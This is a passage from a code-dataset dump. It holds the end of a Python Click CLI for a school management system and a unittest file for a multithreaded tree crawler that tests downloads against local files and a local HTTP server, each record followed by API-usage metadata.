session.query(Grade).filter_by(student_id=stud_instance.id, course_id=cours_instance.id,).first()\n if grade_exists is None:\n session.add(grade_instance)\n session.commit()\n \n click.echo(click.style('\\n----graded successfully ---',fg='white',bg='green'))\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True))\n click.echo(click.style('\\n----\"You have already graded this course for this studen\"---',fg='red'))\n\n\n\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True))\n click.echo(click.style('\\n----please Enter valid Marks---',fg='red'))\n\n\n else:# else if the course cannot be found in the courses table\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True))\n click.echo(click.style('\\n----course does not exist---',fg='red'))\n \n \n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style(f' student ({stud_fname} {stud_lname}) does not exist in our databse',fg='red'))\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style('Enter student full name (string)',fg='red'))\n\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style(f'student ({fname} {lname}) does not exist in our databse',fg='red'))\n else:\n click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n click.echo(click.style('Enter teacher full name (string)',fg='red'))\n\n\n\n\n\n \n \n \n # #-------------------------------------------------------------\n # # brefore we add to the table, check if the record EXIST \n # does_record_exist= session.query(student_course).filter_by(students_id = stud_instance.id, courses_id = cours_instance.id).first()\n # #if does not exist, add to the table\n # if does_record_exist is None:\n # stud_instance.courses.append(cours_instance)\n # session.commit()\n # click.echo(click.style('\\n-----registrations successfull------',fg='green'))\n \n # else:# else if the course cannot be found in the courses table\n # click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True))\n # click.echo(click.style('\\n----course does not exist---',fg='red'))\n \n # else:#if the studetn instance cannot be found in the table\n # click.echo(click.style('\\n--------- !! E R R O R !! ---------------------',fg='red',bold=True)) \n # click.echo(click.style('student does not Exist',fg='red'))\n\n\n\n\nif __name__ == \"__main__\":\n teacher_command()\n", "repo_name": "Bisinle/CLI_School_Management_System", "sub_path": "cli/teachers.py", "file_name": "teachers.py", "file_ext": "py", "file_size_in_byte": 16069, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.abspath", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "click.group", "line_number": 14, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 33, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 46, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 48, "usage_type": "call"}, {"api_name": "click.option", "line_number": 19, "usage_type": "call"}, {"api_name": "click.option", "line_number": 20, "usage_type": "call"}, {"api_name": "click.option", "line_number": 21, "usage_type": "call"}, {"api_name": "click.option", "line_number": 22, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 68, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 79, "usage_type": "call"}, {"api_name": "click.style", "line_number": 79, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 80, "usage_type": "call"}, {"api_name": "click.style", "line_number": 80, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 82, "usage_type": "call"}, {"api_name": "click.style", "line_number": 82, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 83, "usage_type": "call"}, {"api_name": "click.style", "line_number": 83, "usage_type": "call"}, {"api_name": "click.option", "line_number": 56, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 104, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 104, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 106, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 107, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 108, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 109, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 118, "usage_type": "call"}, {"api_name": "click.style", "line_number": 118, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 120, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 127, "usage_type": "call"}, {"api_name": "click.style", "line_number": 127, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 130, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 137, "usage_type": "call"}, {"api_name": "click.style", "line_number": 137, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 140, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 147, "usage_type": "call"}, {"api_name": "click.style", "line_number": 147, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 150, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 157, "usage_type": "call"}, {"api_name": "click.style", "line_number": 157, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 162, "usage_type": "call"}, {"api_name": "click.style", "line_number": 162, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 163, "usage_type": "call"}, {"api_name": "click.style", "line_number": 163, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 165, "usage_type": "call"}, {"api_name": "click.style", "line_number": 165, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 166, "usage_type": "call"}, {"api_name": "click.style", "line_number": 166, "usage_type": "call"}, {"api_name": "click.option", "line_number": 91, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 177, "usage_type": "call"}, {"api_name": "click.style", "line_number": 177, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 191, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 194, "usage_type": "call"}, {"api_name": "click.style", "line_number": 194, "usage_type": "call"}, {"api_name": "click.option", "line_number": 185, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 240, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 250, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 253, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 261, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 277, "usage_type": "call"}, {"api_name": "click.style", "line_number": 277, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 279, "usage_type": "call"}, {"api_name": "click.style", "line_number": 279, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 280, "usage_type": "call"}, {"api_name": "click.style", "line_number": 280, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 285, "usage_type": "call"}, {"api_name": "click.style", "line_number": 285, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 286, "usage_type": "call"}, {"api_name": "click.style", "line_number": 286, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 290, "usage_type": "call"}, {"api_name": "click.style", "line_number": 290, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 291, "usage_type": "call"}, {"api_name": "click.style", "line_number": 291, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 295, "usage_type": "call"}, {"api_name": "click.style", "line_number": 295, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 296, "usage_type": "call"}, {"api_name": "click.style", "line_number": 296, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 298, "usage_type": "call"}, {"api_name": "click.style", "line_number": 298, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 299, "usage_type": "call"}, {"api_name": "click.style", "line_number": 299, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 302, "usage_type": "call"}, {"api_name": "click.style", "line_number": 302, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 303, "usage_type": "call"}, {"api_name": "click.style", "line_number": 303, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 305, "usage_type": "call"}, {"api_name": "click.style", "line_number": 305, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 306, "usage_type": "call"}, {"api_name": "click.style", "line_number": 306, "usage_type": "call"}, {"api_name": "click.option", "line_number": 218, "usage_type": "call"}]} {"seq_id": "44367452269", "text": "#import sys\nimport unittest\n#import os.path\nimport time\nimport logging\n\n#from concurrent_tree_crawler.common.logger import Logger\nfrom concurrent_tree_crawler.common.resources import Resources\nfrom concurrent_tree_crawler.common.dir_tree_comparer import are_dir_trees_equal\nfrom concurrent_tree_crawler.common.tempdir import TempDir\nfrom concurrent_tree_crawler.common.delayed_http_files_server import \\\n\tDelayedHTTPFilesServer\nfrom concurrent_tree_crawler.common.threads.token_bucket import \\\n\tTokenBucketFiller, StandardTokenBucket\nfrom concurrent_tree_crawler.test.subtrees_comparer import subtrees_equal\n\nfrom concurrent_tree_crawler.crawlers_manager import CrawlersManager\nfrom concurrent_tree_crawler.html_multipage_navigator.tree_navigator import \\\n\tHTMLMultipageNavigator\nfrom concurrent_tree_crawler.tree_accessor import TreeAccessor\nfrom concurrent_tree_crawler.standard_node import StandardNode\nfrom concurrent_tree_crawler.html_multipage_navigator.sample_page_analyzer \\\n\timport LevelsCreator\nfrom concurrent_tree_crawler.html_multipage_navigator.web_browser import \\\n\tMechanizeBrowserCreator\nfrom concurrent_tree_crawler.html_multipage_navigator.throttled_web_browser \\\n\timport ThrottledWebBrowserCreator\nfrom concurrent_tree_crawler.crawler_thread import CrawlerThread\nfrom concurrent_tree_crawler.navigator_tree_wrapper import NavigatorTreeWrapper\nfrom concurrent_tree_crawler.abstract_node import NodeState\nfrom concurrent_tree_crawler.multithreaded_crawler import MultithreadedCrawler\n\nclass DownloadTestCase(unittest.TestCase):\n\tdef test_single_threaded_download_without_manager(self):\n#\t\ttemp_dir = TempDir(os.path.expanduser(\"~/tmp\"), prefix=\"dfs_crawler-\")\n#\t\ttry:\n\t\twith TempDir() as temp_dir:\n\t\t\tlevels = LevelsCreator(temp_dir.get_path()).create()\n\t\t\taddress = \"file:\"+\\\n\t\t\t\tResources.path(__file__, \"data/original_site/issues_1.html\",\n\t\t\t\t\t\t\tconvert_to_url=True)\n\t\t\ttree = TreeAccessor(_StandardNodeExtended())\n\t\t\tnavigator = HTMLMultipageNavigator(address, levels)\n\t\t\tnavigator_wrapper = _NavigatorTreeWrapperExtended(navigator, tree)\n\t\t\tcrawler = CrawlerThread(navigator_wrapper, tree)\n\t\t\tcrawler.run()\n\t\t\texpected_dir = Resources.path(__file__, \"data/expected_download\")\n\t\t\tactual_dir = temp_dir.get_path()\n\t\t\tself.assert_(are_dir_trees_equal(expected_dir, actual_dir, \n\t\t\t\t\tignore=[\".gitignore\"]))\n\t\t\tself.__check_tree_final_state(tree.get_root())\n\t\t\tself.__check_if_each_node_is_processed_once(\n\t\t\t\ttree.get_root(), {\"/root/2011-07-16/06\": 0})\n#\t\tfinally:\n#\t\t\tpass\n\t\n\tdef test_multithreaded_download(self):\n\t\taddress = \"file:\"+\\\n\t\t\tResources.path(__file__, \"data/original_site/issues_1.html\",\n\t\t\t\t\t\tconvert_to_url=True)\n\t\tfor threads_no in [1, 2, 3, 4, 50]:\n\t\t\tself.__check_download(threads_no, address)\n\t\n\tdef test_throttled_download(self):\n#\t\tLogger.start(logging_level=logging.DEBUG)\n\t\taddress = \"file:\"+\\\n\t\t\tResources.path(__file__, \"data/original_site/issues_1.html\",\n\t\t\t\t\t\tconvert_to_url=True)\n\t\tweb_pages_no = 34\n\t\tmax_page_opens_per_second = 15\n\t\tmin_seconds_taken = float(web_pages_no)/max_page_opens_per_second\n\t\tfor threads_no in [1, 3]:\n\t\t\tseconds_taken = self.__check_download(\n\t\t\t\tthreads_no, address, max_page_opens_per_second)\n#\t\t\tprint >>sys.stderr, \"seconds_taken={}\".format(seconds_taken)\n\t\t\tself.assertGreaterEqual(seconds_taken, min_seconds_taken)\n#\t\tLogger.stop()\n\n\tdef test_throttled_download_with_HTTP_server(self):\n#\t\tLogger.start(logging_level=logging.DEBUG)\n\t\twith DelayedHTTPFilesServer(\n\t\t\t\tResources.path(__file__, \"data/original_site\"), 0) as server:\n\t\t\t(address, ip_number) = server.start()\n\t\t\troot_address = \"http://{}:{}/issues_1.html\".format(\n\t\t\t\taddress, ip_number)\n\t\t\tweb_pages_no = 34\n\t\t\tmax_page_opens_per_second = 15\n\t\t\tmin_seconds_taken = float(web_pages_no)/max_page_opens_per_second\n\t\t\tfor threads_no in [1, 3]:\n\t\t\t\tseconds_taken = self.__check_download(\n\t\t\t\t\tthreads_no, root_address, max_page_opens_per_second)\n#\t\t\t\tprint >>sys.stderr, \"seconds_taken={}\".format(seconds_taken)\n\t\t\t\tself.assertGreaterEqual(seconds_taken, min_seconds_taken)\n#\t\tLogger.stop()\n\n\tdef test_multithreaded_download_speedup_with_slow_HTTP_server(self):\n#\t\tLogger.start(logging_level=logging.DEBUG)\n\t\twith DelayedHTTPFilesServer(\n\t\t\t\tResources.path(__file__, \"data/original_site\"), 0.1) as server:\n\t\t\t(address, ip_number) = server.start()\n\t\t\troot_address = \"http://{}:{}/issues_1.html\".format(\n\t\t\t\taddress, ip_number)\n\t\t\ttime_taken = []\n\t\t\tthreads_no_list = [1, 4]\n\t\t\tfor threads_no in threads_no_list:\n\t\t\t\trun_time = self.__check_download(threads_no, root_address)\n\t\t\t\ttime_taken.append(run_time)\n\t\t\tassert_str = \"{} threads time taken: {}s while \"\\\n\t\t\t\t\"{} threads time taken: {}s\".format(\n\t\t\t\t\tthreads_no_list[0], time_taken[0],\n\t\t\t\t\tthreads_no_list[1], time_taken[1])\n\t\t\tmin_speedup = 1\n\t\t\t## We're expecting at some speedup. The speedup\n\t\t\t## is not fully deterministic and depends e.g. on processor load\n\t\t\tself.assert_(time_taken[0] > min_speedup*time_taken[1], assert_str)\n#\t\tLogger.stop()\n\n\tdef __check_download(self,\n\t\t\tthreads_no, address, max_page_opens_per_second=None):\n\t\t\"\"\"@return: run time in seconds\"\"\"\n#\t\ttemp_dir = TempDir(os.path.expanduser(\"~/tmp\"), prefix=\"dfs_crawler-\")\n#\t\ttry:\n\t\twith TempDir() as temp_dir:\n\t\t\ttoken_filler = None\n\t\t\tbrowser_creator = None\n\t\t\tif max_page_opens_per_second is not None:\n\t\t\t\ttoken_bucket = None\n\t\t\t\ttoken_bucket = StandardTokenBucket(max_page_opens_per_second)\n\t\t\t\ttoken_filler = TokenBucketFiller(token_bucket, 1, \n\t\t\t\t\tmax_page_opens_per_second)\n\t\t\t\ttoken_filler.start()\n\t\t\t\tbrowser_creator = ThrottledWebBrowserCreator(\n\t\t\t\t\tMechanizeBrowserCreator(), token_bucket)\n\t\t\telse:\n\t\t\t\tbrowser_creator = MechanizeBrowserCreator()\n\t\t\t\n\t\t\tnavigators = []\n\t\t\tfor _ in xrange(threads_no):\n\t\t\t\tnavigators.append(HTMLMultipageNavigator(address,\n\t\t\t\t\tLevelsCreator(temp_dir.get_path()).create(), \n\t\t\t\t\tbrowser_creator))\n\t\t\tsentinel = _StandardNodeExtended()\n\t\t\tcrawler = _MultithreadedCrawlerExtended(navigators, sentinel)\n\t\t\tstart = time.time()\n\t\t\tcrawler.run()\n\t\t\tend = time.time()\n\t\t\texpected_dir = Resources.path(__file__, \"data/expected_download\")\n\t\t\tactual_dir = temp_dir.get_path()\n\t\t\tself.assert_(are_dir_trees_equal(expected_dir, actual_dir, \n\t\t\t\t\tignore=[\".gitignore\"]))\n\t\t\tself.__check_tree_final_state(sentinel.get_child(\"root\"))\n\t\t\tself.__check_if_each_node_is_processed_once(\n\t\t\t\tsentinel.get_child(\"root\"), {\"/root/2011-07-16/06\": 0})\n\t\t\tif max_page_opens_per_second is not None:\n\t\t\t\ttoken_filler.stop()\n\t\t\treturn end - start\n#\t\tfinally:\n#\t\t\tprint >>sys.stderr, \"Temp Dir path =\\\"{}\\\"\".format(temp_dir.get_path())\n\n\tdef __check_tree_final_state(self, root):\n\t\tt = (\"root\", NodeState.ERROR,\n\t\t\t\t[(\"2011-07-12\", NodeState.CLOSED, \n\t\t\t\t\t[(\"01\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"02\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"03\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"04\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"05\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"06\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"07\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"08\", NodeState.CLOSED, [])]\n\t\t\t\t),\n\t\t\t\t(\"2011-07-13\", NodeState.CLOSED, \n\t\t\t\t\t[(\"01\", NodeState.CLOSED, [])]\n\t\t\t\t),\n\t\t\t\t(\"2011-07-14\", NodeState.CLOSED, []),\n\t\t\t\t(\"2011-07-16\", NodeState.ERROR, \n\t\t\t\t\t[(\"01\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"02\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"03\", NodeState.ERROR, []),\n\t\t\t\t\t(\"04\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"05\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"06\", NodeState.ERROR, []),\n\t\t\t\t\t(\"07\", NodeState.CLOSED, [])]\n\t\t\t\t),\n\t\t\t\t(\"2011-07-16-repetition_1\", NodeState.CLOSED, \n\t\t\t\t\t[(\"01\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"02\", NodeState.CLOSED, []),\n\t\t\t\t\t(\"03\", NodeState.CLOSED, [])]\n\t\t\t\t),\n\t\t\t\t(\"2011-07-17\", NodeState.ERROR, [])]\n\t\t\t)\n\t\tself.assert_(subtrees_equal(t, root))\n\t\n\tdef __check_if_each_node_is_processed_once(self, root, exception_nodes):\n\t\tself.__check_if_each_node_in_subtree_is_processed_once(\"/root\", root, \n\t\t\texception_nodes)\n\t\n\tdef __check_if_each_node_in_subtree_is_processed_once(self, path, node, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\texception_nodes):\n\t\texpected_count = 1\n\t\tif path in exception_nodes:\n\t\t\texpected_count = exception_nodes[path]\n\t\tassert isinstance(node, _StandardNodeExtended)\n\t\tself.assertEqual(expected_count, node.processed_times)\n\t\tchildren_names = [ch.get_name() for ch in node.get_children()]\n\t\tfor child_name in children_names:\n\t\t\tchild = node.get_child(child_name)\n\t\t\tchild_path = path + \"/\" + child_name\n\t\t\tself.__check_if_each_node_in_subtree_is_processed_once(child_path, \n\t\t\t\tchild, exception_nodes)\n\nclass _StandardNodeExtended(StandardNode):\n\tdef __init__(self, parent=None, name=\"sentinel\", state=NodeState.OPEN):\n\t\tStandardNode.__init__(self, parent=parent, name=name, state=state)\n\t\tself.processed_times = 0\n\t\n\tdef add_child(self, name, state):\n\t\tassert name not in self._children[state]\n\t\tnew_child = _StandardNodeExtended(self, name, state)\n\t\tself._children[state][name] = new_child\n\t\treturn new_child\n\nclass _NavigatorTreeWrapperExtended(NavigatorTreeWrapper):\n\tdef __init__(self, navigator, tree):\n\t\tNavigatorTreeWrapper.__init__(self, navigator, tree)\n\t\n\tdef process_node_and_check_if_is_leaf(self):\n\t\tself.get_current_node().processed_times += 1\n\t\treturn NavigatorTreeWrapper.process_node_and_check_if_is_leaf(self)\n\nclass _MultithreadedCrawlerExtended(MultithreadedCrawler):\n\t\tdef __init__(self, navigators, sentinel, activity_schedule=None, \n\t\t\tlog_file_path=None, state_file_path=None, save_period=None,\n\t\t\tlogging_level=logging.ERROR):\n\t\t\tMultithreadedCrawler.__init__(self, navigators, sentinel, \n\t\t\t\tactivity_schedule, log_file_path, state_file_path, \n\t\t\t\tsave_period, logging_level)\n\n\t\tdef _create_crawlers_manager(self, tree, navigators):\n\t\t\tnavigator_wrappers = []\n\t\t\tfor navigator in navigators:\n\t\t\t\tnavigator_wrapper = \\\n\t\t\t\t\t_NavigatorTreeWrapperExtended(navigator, tree)\n\t\t\t\tnavigator_wrappers.append(navigator_wrapper)\n\t\t\treturn CrawlersManager(tree, navigator_wrappers)", "repo_name": "mkobos/tree_crawler", "sub_path": "concurrent_tree_crawler/test/download_test.py", "file_name": "download_test.py", "file_ext": "py", "file_size_in_byte": 9736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unittest.TestCase", "line_number": 33, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.common.tempdir.TempDir", "line_number": 37, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.html_multipage_navigator.sample_page_analyzer.LevelsCreator", "line_number": 38, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources.path", "line_number": 40, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources", "line_number": 40, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.tree_accessor.TreeAccessor", "line_number": 42, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.html_multipage_navigator.tree_navigator.HTMLMultipageNavigator", "line_number": 43, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.crawler_thread.CrawlerThread", "line_number": 45, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources.path", "line_number": 47, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources", "line_number": 47, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.common.dir_tree_comparer.are_dir_trees_equal", "line_number": 49, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources.path", "line_number": 59, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources", "line_number": 59, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources.path", "line_number": 67, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources", "line_number": 67, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.common.delayed_http_files_server.DelayedHTTPFilesServer", "line_number": 81, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources.path", "line_number": 82, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources", "line_number": 82, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.common.delayed_http_files_server.DelayedHTTPFilesServer", "line_number": 98, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources.path", "line_number": 99, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources", "line_number": 99, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.common.tempdir.TempDir", "line_number": 123, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.threads.token_bucket.StandardTokenBucket", "line_number": 128, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.threads.token_bucket.TokenBucketFiller", "line_number": 129, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.html_multipage_navigator.throttled_web_browser.ThrottledWebBrowserCreator", "line_number": 132, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.html_multipage_navigator.web_browser.MechanizeBrowserCreator", "line_number": 133, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.html_multipage_navigator.web_browser.MechanizeBrowserCreator", "line_number": 135, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.html_multipage_navigator.tree_navigator.HTMLMultipageNavigator", "line_number": 139, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.html_multipage_navigator.sample_page_analyzer.LevelsCreator", "line_number": 140, "usage_type": "call"}, {"api_name": "time.time", "line_number": 144, "usage_type": "call"}, {"api_name": "time.time", "line_number": 146, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources.path", "line_number": 147, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.common.resources.Resources", "line_number": 147, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.common.dir_tree_comparer.are_dir_trees_equal", "line_number": 149, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.ERROR", "line_number": 161, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 161, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 162, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 162, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 163, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 163, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 164, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 164, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 165, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 165, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 166, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 166, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 167, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 167, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 168, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 168, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 169, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 169, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 170, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 170, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 172, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 172, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 173, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 173, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 175, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 175, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.ERROR", "line_number": 176, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 176, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 177, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 177, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 178, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 178, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.ERROR", "line_number": 179, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 179, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 180, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 180, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 181, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 181, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.ERROR", "line_number": 182, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 182, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 183, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 183, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 185, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 185, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 186, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 186, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 187, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 187, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.CLOSED", "line_number": 188, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 188, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.ERROR", "line_number": 190, "usage_type": "attribute"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState", "line_number": 190, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.test.subtrees_comparer.subtrees_equal", "line_number": 192, "usage_type": "call"}, {"api_name": "concurrent_tree_crawler.standard_node.StandardNode", "line_number": 212, "usage_type": "name"}, {"api_name": "concurrent_tree_crawler.abstract_node.NodeState.OPEN", "line_number": 213, "usage_type": "attribute"}, {"api_name": 